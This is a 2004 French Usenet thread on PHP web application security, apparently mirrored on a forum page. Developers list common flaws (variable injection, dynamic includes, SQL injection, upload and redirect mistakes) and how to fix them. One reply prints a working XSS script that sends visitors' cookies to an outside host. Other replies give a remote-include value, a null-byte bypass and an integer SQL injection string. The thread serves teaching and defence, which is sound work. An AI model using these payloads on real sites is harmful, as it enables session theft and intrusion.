OVH Cloud OVH Cloud

[Long] Pratiques de codage php et webapps

120 réponses
Avatar
John Gallet
Bonjour,


NB1 : xpost fr.comp.lang.php et fu2 fr.comp.securite (les deux sont
modérés).

Après moult tergiversations, je laisse le fu2 sur fr.comp.securite car
on dépasse le cadre du langage PHP et que les failles à débattre sont
majoritairement
humaines et non liées au langage. J'encourage plus que vivement les
habituels lecteurs/contributeurs de fclphp à suivre la discussion sur
fcs (et à le
consulter régulièrement une fois cette bonne habitude prise ;-)...)

Je me porte volontaire pour essayer de faire une synthèse de la
discussion qu'on pourra intégrer dans l'une des deux FAQs et référencer
depuis l'autre.

NB 2 : Cet article étant long et fcs étant modéré, je rappelle aux
contributeurs qui seraient tentés de le citer intégralement que leur
réponse n'a aucune chance d'être publiée. Si vous avez un doute sur la
bonne manière de répondre sur un forum usenet, usez et abusez de
http://www.giromini.org/usenet-fr/repondre.html


Suite aux divers questions/trolls sur la sécurité des applications
écrites en PHP dans une optique web, je lance un petit débat sur les
pratiques de codage en PHP apportant ou non un vrai "plus" de sécurité.

J'entends par "faille de sécurité" une erreur de codage ou de conception
qui permet de passer outre une procédure d'authentification, d'avoir
accès à des données non publiques, ou de modifier/détruire des
données/des scripts, exclusivement dans une optique web, avec php comme
langage dans mon esrit à l'origine, mais on pourra élargir à d'autres
langages/plateformes de web dynamique comme perl, jsp, asp, .net etc...

Les questions sont les suivantes :

Question 1 :

Quelles sont les principales failles existantes dans les scripts PHP que
vous avez rencontrées ? Quels risques induisaient-elles ? Comment les
avez vous corrigées ?

Question 2 :

Quelles sont les principales fausses vérifications de sécurité que vous
connaissez ? Comment peut-on les contourner (indiquer la difficulté
pour y arriver) ou pourquoi ne sont-elles pas fiables ou non applicables
sur le principe même ?

Question 3 :

Pensez vous à des failles théoriques potentielles que vous n'avez pas
encore vérifiées en pratique ?

------------
Je commence bien entendu :

Question 1 (failles existantes):
a) variables non itilialisées en register_globals=On (injection de
variables)
Risque : principalement accès non autorisés, mais tout est possible.
Correction : initialiser ses variables (Sans blague...), ou utiliser des
fonctions/des objets car ils snt insensibles à l'injection de variables.
Piège : croire qu'on est toujours en register_globals=Off et coder comme
un cochon.
Correction : idem.

b) include dynamiques (ex include($toto);)

Risque : exécution sur sa machine de n'importe quel code souhaité par
l'attaquant (installation de back-doors, défigurations, etc....
Correction : ne pas utiliser d'includes dynamiques ou vérifier que le
fichier est bien local si hébergement dédié. Renforcer les restrictions
d'include_path. Attention, depuis php5, file_exists peut éventuellement
renvoyer TRUE sur des fichiers distants (à restester, je n'ai pas poussé
plus loin que le "tip php5" du manuel).
Piège : essayer de se renforcer avec include($toto.'.php');
Contournement : $toto="[target]/script_sans_extension"; par exemple.

c) injection SQL.
Risque : accès non autorisés, corruption de données
Correction : filtrage des variables, échappement de ' et " par le
caractère ad hoc pour la base de données (\ pour mysql, ' pour sybase
etc...)

d) confiance dans les variables venant de l'extérieur. Par exemple,
recalculer une facture à payer en utilisant un prix transmis par un
champ HIDDEN ou calculé en javascript. Ne pas revalider la donnée parce
qu'elle l'a été en JavaScript.
Risque : multiples. Accès non autorisés, corruption de données, etc...
Correction : ne faire confiance qu'à des données conservées côté serveur
(refaire une requête sgbd pour obtenir le prix de l'article, les frais
de port, etc...). Faire avant tout les validations de cohérence des
données côté serveur et non en javascript.

e) uploads de fichiers.
Outre les failles du langage php lui même qui apparaissent parfois à ce
sujet, les tutoriels que j'ai vus n'insistent pas assez sur le besoin de
faire attention aux extensions autorisées par rapport aux extensions
parsées sur le serveur. Si le serveur considère comme du code php le
fichier toto.php.txt, il faut interdire tout nom de fichier contenant
.php. dans son nom. Ceci doit venir en complément d'une liste
restrictive d'extensions explicitement autorisées (.jpg, .gif, .doc
etc...). Je suis plus particulièrement intéressé sur ce point par les
vérification purement serveur permettant de vérifier le type de fichier
traité.

f) utilisation de header("Location:...)
Algo (erronné)
1. vérification de cohérence
2.1 si problème alors header("Location:bad.php"); // jusqu'ici tout va
bien
2.2 si ok alors header("Location:ok.php"); // et plouf dommage, il
suffit d'appeler directement ok.php avec n'importe quels arguments et
tout passe.
Correction :
2.1 si problème require('erreur.php'); exit();
2.2 (sinon) require('traitement.php'); // rappel : toute variable locale
est alors définie dans traitement.php

g) appels systèmes non filtrés
Dans le même genre que les includes dynamiques, passer directement la
saisie de l'utilisateur à exec() ou system(). Personnellement, j'ai
tendance à interdire tout exécution de code directe, filtrée ou par (je
remplace les actions possibles par des cases à cocher et j'exécute ce
qu'il faut). Peut-être est-ce par trop parano et que 'lon peut autoriser
certaines choses.
Risques : donner la main sur votre machine à un attaquant.
Correction : ne jamais passer quoi que ce soit qui vient de l'extérieur
en argument, mais c'est parfois trop restrictif.

Question 2 (fausses vérifications):

a) vérifier que la donnée a bien été transmise par la méthode POST sous
prétexte qu'elle vient d'un formulaire.
Contournement : il suffit d'envoyer une donnée vérolée par post, que ce
soit en modifiant du html ou en utilisant la librairie CURL par exemple
pour de l'attaque massive. C'est le contenu de la donnée qu'il faut
vérifier, pas son mode de transmission.

b) Vérifier que les données viennent bien "de mon site" en utilisant
HTTP_REFERRER.

Une idée (qui n'est pas de moi) et que je n'ai pas réussi à mettre en
oeuvre : injection SQL par des entiers ou plus généralement injection
SQL insensible aux habituelles vérifications sur les quotes.

Soit la requête : "UPDATE .... WHERE id=$i " avec id de type entier
(typiquement : autoincrement)
But de la manip : injecter dans $i une chaîne transformant la requête en
(par exemple):
"UPDATE ... WHERE id=0 OR 1=1"
(requête qui va corrompre les données en impactant tous les rangs de la
table)
Moyen sous mysql : utiliser la fonction mysql CHAR et complèter la
chaîne en hexa. Mais je n'ai pas réussi à le faire, je me prends ou du
syntax error ou une chaîne non interprêtée.

Espérant faire avancer le shimili... le shcibi... le biniou.

JG

10 réponses

1 2 3 4 5
Avatar
Laurent Seguin
John Gallet , le 22 nov. 2004 12:16:03, écrivait
ceci:

Quelles sont les principales failles existantes dans les scripts PHP que
vous avez rencontrées ? Quels risques induisaient-elles ? Comment les
avez vous corrigées ?


On peu aussi citer :

- l'inclusion de bout de code récupéré à droite ou à gauche dans une grosse
appli ou on a pas le temps de tout développer sans le relire complètement.
Dans le cas d'une galerie photo sans sgbd cela peu donner un accès en
lecture au FS avec les droits de PHP (me suis fait avoir).

- Si on utilise un outil "tout fait", virer les répertoires et les scritps
qui ne sont plus nécéssaires en prod (ça évite que quelqu'un s'amuse à
relancer la procédure d'install par exemple)

- La plus courante : le répertoire /includes/ (ou simili) ouvert à tous
(pas de fichier index et en listing).

- Extention de fichier inclus qui appelés directement sont lisible en clair
(genre : config.inc). On a donc généralement le triplet host/user/pass du
sgbd.

- Une mauvaise gestion des erreurs peu donner de très bonnes informations
exploitable.

- Seul l'index du BO demande une authentification, accès libre aux autres
scripts. Protéger l'accès de TOUS les fichiers du back-office

Avatar
Laurent Seguin
John Gallet , le 22 nov. 2004 19:08:54, écrivait
ceci:

la mise a disposition par des scripts authentfiés de
listes de données elles mêmes non protégées ,
Je ne vois pas bien, concrètement sur un exemple ?



Exemple concret (je ne dirais pas d'ou je le tiens) :

Soit un fichier, normalement confidentiel, contenant les informations sur
les serveurs et routeurs d'un réseau, normalement protégé également.
Ce fichier contient : @mac, @ip, nom machine, Nom OS, Ports ouverts
Seuls des admin connus et reconnu ne peuvent accéder à ce fichier.
Donc pour y acceder on doit se logger à http://lesitedesadmins.tld/, y
entrer son login et son mot de passe avant de dépasser la page d'accueil.

Seulement en demandant directement l'adresse dans un brouteur :
http://lesitedesadmins.tld/fichier_super_secret.ext, Pouf pouf les données
s'affichent.


Avatar
Fabien LE LEZ
On 22 Nov 2004 20:48:20 GMT, Laurent Seguin :

Seulement en demandant directement l'adresse dans un brouteur :
http://lesitedesadmins.tld/fichier_super_secret.ext, Pouf pouf les données
s'affichent.


Et c'est un fichier dont le nom est difficile à trouver ?


--
;-)

Avatar
Nicob
On Mon, 22 Nov 2004 20:07:27 +0000, Laurent Seguin wrote:

- Si on utilise un outil "tout fait", virer les répertoires et les scritps
qui ne sont plus nécéssaires en prod (ça évite que quelqu'un s'amuse à
relancer la procédure d'install par exemple)


Par exemple, vBulletin (un forum en PHP) vérifie la présence du script
d'installation et refuse de fonctioner s'il est présent.

- La plus courante : le répertoire /includes/ (ou simili) ouvert à tous
(pas de fichier index et en listing).


Le fichier d'index et l'interdiction du listing, c'est juste de la
sécurité par l'obscurité. Un petit peu de jugeotte, un poil
d'expérience et un bon dico (voire même du brute-force) permettent
d'identifier une bonne partie des fichiers "cachés".

La solution, c'est de :
- leur donner une extension ".php" pour que leur contenu ne soit pas
renvoyé vers le client mais interprété par le serveur
- n'y inclure que du code faisant partie de fonctions, et surtout pas de
code qui constituerait un main() si le script était appellé directement.

- Extention de fichier inclus qui appelés directement sont lisible en
clair (genre : config.inc). On a donc généralement le triplet
host/user/pass du sgbd.


Pareil que ci-dessus pour les extensions de fichier. On peut aussi
restreindre les accès via .htaccess, mais attention à la maintenance de
l'application (disparition du .htaccess lors d'une migration).

Ne pas oublier le contrôle des fichiers de backup. Exemples d'extensions
à rechercher : '.old', '.bak', '~', '.orig', '.backup', '.bad'

- Une mauvaise gestion des erreurs peu donner de très bonnes
informations exploitable.


C'est clair. On y trouve en vrac :
- chemins complets
- type de base de données
- fragments de requêtes (voire requêtes complètes)
- extensions PHP installées (via include_path)

C'est aussi parfois le seul endroit où faire du XSS ...

- Seul l'index du BO demande une authentification, accès libre aux
autres scripts. Protéger l'accès de TOUS les fichiers du back-office


Un grand classique. Mais difficile à détecter sans automatisation sur
une application complexe (mlutiples frames, plusieurs dizaines de scripts
nécessitant une authentification). Et quand on automatise, on tombe sur
le problème de l'intelligence de l'outil : comment avoir un état
(variables, referrer, ...) cohérent pour chaque page testée ? Un outil
comme 'elza' peut être un début de solution car on peut réellement le
faire "naviguer en automatique" ...

Sur le problème de l'automatisation de ces tests :
www.blackhat.com/presentations/bh-federal-03/bh-fed-03-grossman-up.pdf


Nicob

Avatar
Nicob
On Mon, 22 Nov 2004 18:08:54 +0000, John Gallet wrote:

J'en cause plus loin, mais je suis justement preneur d'un exemple qui
marche. J'ai eut beau tripatouiller des hexas dans tous les coins, pas
réussi.


Exemple avec une requête où un entier est attendu et où nous n'avons pas
droit à " ou ' :

http://nicob.net/warsql/level2.html#advanced

et surtout surtout tous
les problemes de XSS par réflexion ou par stockage.



Alain, "par réflexion" et "par stockage" sont synomymes pour toi ?

Je suis là aussi preneur d'un exemple concret ou d'une url expliquant
simplement les choses. Je n'ai jamais utilisé de cookies ou de JS de ma
vie car je m'y refuse farouchement, mais ça ne me met pas à l'abri de
tout.


Sur les différentes familles de XSS "persistant" (aka "par stockage") :

http://www.nextgenss.com/papers/SecondOrderCodeInjection.pdf

Grosso modo, le principe est d'insérer du code dans une page (pourquoi
se limiter au Javascript ?) sans le passer en paramètre, mais en le
récupérant dans la base de données où il aura été précédemment placé.

Exemple : dans un guest-book mal codé, insérer son code Javascript
"offensif" et attendre que chacun des lecteurs du guest-book ayant le
Javascript d'activé vous envoie son cookie.

Code permettant de voler des cookies :

<script>
document.write('<img src="http://nicob.net/somedir/');
document.write(document.cookie);document.write('>"')
</script>

NB : il n'est pas nécessaire de se limiter au Javascript. Prenons le cas
de données partagées entre deux sites ayant un niveau de confiance
différent (un site web "en vitrine" et l'Intranet sur lequel repose le
coeur de métier). On peut arriver à des situations où il est possible
d'injecter depuis l'extérieur du Vbscript qui pourra être exécuté sur
le LAN ou les agences (l'Intranet étant configuré en tant que 'site de
confiance' dans IE) et ainsi hacker des machine en adressage privé,
situées derrière 15 pare-feux et un filtrage périmétrique exemplaire
(AV sur HTTP et SMTP, pas de P2P, ...).


Nicob


Avatar
Nicob
On Mon, 22 Nov 2004 15:29:31 +0000, John Gallet wrote:

Sur un type non char, on ne peut se protéger à mon sens qu'en filtrant
ses variables.


Il me semble (ie. c'est ce j'en ai lu sur le Net et mes tests confirment)
que les "requêtes préparées" (disponibles au moins en PHP et Perl/DBI)
sur un MySQL ne sont pas vulnérables au SQL-Injection. En plus, on peut
même avoir un gain en perfs :)

Exemple :
$sth = $dbh->prepare("INSERT INTO contacts (name,email) VALUES (?,?)");
$sth->execute($name,$email);

Si quelqu'un a la preuve (morceau de code) que ce type d'interrogation de
la base protège du SQL-Injection ...


Nicob

Avatar
Nicob
On Mon, 22 Nov 2004 11:16:03 +0000, John Gallet wrote:

Quelles sont les principales failles existantes dans les scripts PHP que
vous avez rencontrées ? Quels risques induisaient-elles ?


Mauvaise validation des paramètres passés :

- au SGBD : lecture d'autres portions de la BD (en fonction des droits sur
les bases/tables), ceci pouvant aller jusqu'à la récupération des mots
de passe hashés (puis crackés) et tentative de "password re-use". Si le
SGBD est "SQL Server" dans sa conf standard, on peut aussi exécuter des
commandes, accéder à la base de registres, ...

- au shell : exécution de commandes avec les privilèges du serveur Web.

- à un include() ou affiliés : selon si on contrôle la partie gauche ou
droite + pleins d'autres facteurs, cela peut aller jusqu'à une exécution
très facile de commandes.

Quelles sont les principales fausses vérifications de sécurité que
vous connaissez ? Comment peut-on les contourner (indiquer la
difficulté pour y arriver) ou pourquoi ne sont-elles pas fiables ou non
applicables sur le principe même ?


Vérif en Javascript only :
- contourné en faisant une requête à la main
- les vérifs doivent être faits côté serveur

Remplacement des " par " et ' par ' :
- contournable en mettant ", transformé en " et donc en "
- si on utilise sa propre fonction de protection contre les quotes, il
faut garder un contexte

Confiance dans les en-têtes HTTP :
- concerne surtout X-Forwarded-For et Referrer
- contourné en faisant une requête à la main

Ajout d'une extension avant include() ou assimilés :
- contourné avec un null-byte (%00) si "magic_quotes_gpc = Off"

e) uploads de fichiers.

Si le serveur considère comme du code php le fichier toto.php.txt, il
faut interdire tout nom de fichier contenant .php. dans son nom.


Il est de toute façon suicidaire de permettre l'upload en dessous de la
web-root. Et que ce soit en PHP, en ASP ou en JSP :

http://net-square.com/papers/one_way/one_way.html#4.0

Je suis plus particulièrement intéressé sur ce point par les
vérification purement serveur permettant de vérifier le type de
fichier traité.


Il pouurait sembler être une bonne idée d'utiliser la commande 'file'
pour valider le type de fichier, mais j'ai déjà vu des scripts
valides qui étaient considérés par 'file' comme des images.

f) utilisation de header("Location:...)


Si l'attaquant peut modifier à loisir la valeur d'un en-tête comme
"Location:", on peut aussi faire du "HTTP Response Splitting".

Dans le même genre que les includes dynamiques, passer directement la
saisie de l'utilisateur à exec() ou system().


Liste partielle de fonctions dangereuses : ``, exec(), popen(),
passthru(), system(), proc_open() et shell_exec().

Moyen sous mysql : utiliser la fonction mysql CHAR et complèter la
chaîne en hexa. Mais je n'ai pas réussi à le faire, je me prends ou
du syntax error ou une chaîne non interprêtée.


Cf. l'exemple que je donne dans une autre de mes réponses à ce fil ...


Nicob

Avatar
Simon Marechal
John Gallet wrote:

Question 1 (failles existantes):
a) variables non itilialisées en register_globals=On (injection de
variables)
Piège : croire qu'on est toujours en register_globals=Off et coder comme
un cochon.


Ca c'est une question de gout, et je trouve personnellement que coder
(scripter?) en faisant le postulat register global est off est plus lisible

b) include dynamiques (ex include($toto);)
Piège : essayer de se renforcer avec include($toto.'.php');
Contournement : $toto="[target]/script_sans_extension"; par exemple.


Le contournement c'est surtout de faire $toto = http://monserveur/ ;)

g) appels systèmes non filtrés
Dans le même genre que les includes dynamiques, passer directement la
saisie de l'utilisateur à exec() ou system(). Personnellement, j'ai


Un truc qui est tombé y'a pas longtemps sur phpbb ce sont les preg avec
le flag 'e' (execute) font un remplacement dans une chaine puis l'eval()

b) Vérifier que les données viennent bien "de mon site" en utilisant
HTTP_REFERRER.


Certains sites loggent l'IP du client en se basant sur des en tete http,
qui sont donc modifiables.

Une idée (qui n'est pas de moi) et que je n'ai pas réussi à mettre en
oeuvre : injection SQL par des entiers ou plus généralement injection
SQL insensible aux habituelles vérifications sur les quotes.


Ca ça marche nickel, et sur de nombreux sites.

Moyen sous mysql : utiliser la fonction mysql CHAR et complèter la
chaîne en hexa. Mais je n'ai pas réussi à le faire, je me prends ou du
syntax error ou une chaîne non interprêtée.


Pas besoin de se casser la tete tant qu'on n'a pas besoin de mettre de
quotes car dans 95% des cas, car c'est le seul caractère filtré. Là où
il faut faire attention c'est pour le caractère "=" qui est
avantageusement remplacé par %3D pour éviter que le "truc qui fait la
conversion url->variables" ne croie qu'on a une autre variable.

Un point important (pour moi au moins) sur le filtrage des variables :
Les magic quotes ne sont pas une fonction de sécurité! Ce n'est pas
parce qu'elles empechent certaines injections sql qu'elles suffisent. Le
cas typique est le mail qui sera utilisé par une autre appli, et qui
meme si il ne contient pas de quotes peut avoir des effets bien plus
graves (pipe par exemple). Le mieux est de filtrer les variables de
manière précise avec des regexp.

Et puisqu'on parle de php, il faut le sécuriser du coté de ses
paramètres, comme le register_global, magic quotes, repertoires où on
peut faire des includes, support des url dans les open ... sécuriser la
BDD est assez important.

Avatar
Simon Marechal
loufoque wrote:
Il suffit de faire intval($i).


Je ne comprend pas l'interet de la manoeuvre. Moi je suis plus partisant
du if(!is_numeric($i)) die(); puisqu'on sait que si $i n'est pas
numérique c'est qu'un petit malin essaie de s'amuser ...

Avatar
marc.quinton-PAS-DE-
Paul Gaborit wrote:


Exact. Donc le mieux serait une interface générique (comme le DBI de Perl) qui
connait le type de chaque champ et convertit les valeurs aux vols en vérifiant
leur type. Ça doit bien exister dans PHP (que je ne pratique plus depuis
longtemps) mais je ne la connais pas.



oui, il y a quelque classe Pear qui sont sencé faire ce qu'on appelle du DAO
(Database Access Object, enfin ca ressemble a ca). Voici comment c'est fait


class DB {
# la classe de support des requetes sql
}

class DAO extends DB{


# déclaration dans la sous classe de la liste des champs
# composant la table. Grace a cette table, on connait :
# le nom de attributs de la table,
var $fields = array();

var $sql = array(); # jeu de requette préconfiguré

# constructeur ...

function insert($record){
# enregistre en BD
}

function delete($where){
# effacement
# control de $id puis effacement
# retour un status d'erreur
}
function update($record, $where){
# maj en BD
}


# acces aux données :
function select($context, $where){
# context
}

# encore d'autres methodes suivant l'implémentation

}

# implémentation d'une classe réelle par extension de DAO
class DAO_Livre extends DAO{

var $sql = array(
'id' => array(
type => 'int',
required => true,
# la liste n'est pas exhautives ...
),
'titre' => array(
type => 'varchar',
required => true,
# la liste n'est pas exhautives ...
),
'auteur' => array(
type => 'varchar',
required => true,
# la liste n'est pas exhautives ...
),
'page' => array(
type => 'int',
required => false,
'comment' => 'nombre de page du livre'
);


# sorte de description des différentes vues sur la table
var $sql = array(
# ici id, all sont libre et de valeur symbolique représantant le l'opération
'id' => array(
fields => '*',
'type' => assoc, # peut-tre assoc, all, one
'order' => 'titre, nom, prenom',
'join' => 'id_auteur:auteur('%prenom %nom')'
),
'all' => array(
...
)
'update' => array(
...
)
'delete' => array(
...
)
);
}

utilisation : cette API est assez fidèle a l'implémentation Pear:DB_Table. D'autres formes
assez proches sur le concept sont possibles.

$db = new DAO_Livre();

# je veux toute la listes des livres selon un critere donné
$list = $db->select('titre LIKE '%plage%'); # j'ai envie de plage et de soleil, désolé

# effacement d'un enregistrement
$status = $db->delete("id = $id"); # ici on voit que $id n'est pas bien verifié par DAO



par la suite, il est possible :
- d'effectuer des requetes dans la base sans avoir a ecrire une seule ligne de code SQL,
ce qui offre une certaine lisibilité, un confort, mais surtout si la bibliothèque est bien
écrite un niveau de confiance sur le plan de la sécurité sans rapport avec tout code ecrit
a la main,
- une bonne abstraction conforme avec le modèle MVC,
- via les classes, il est possible d'etendre assez facilement ce genre de bibliothèque.
- j'ai pour ma part réalisé une extention permettant de faire la gestion des tables sans
jointure sans avoir a ecrire une seule ligne de code. J'ai une classe Form pour les formulaire,
les methodes d'ES sur la tables, une description textuelle des champs et le tour est joué.

j'espere que cette réponse un peu longue n'est pas hors sujet.

1 2 3 4 5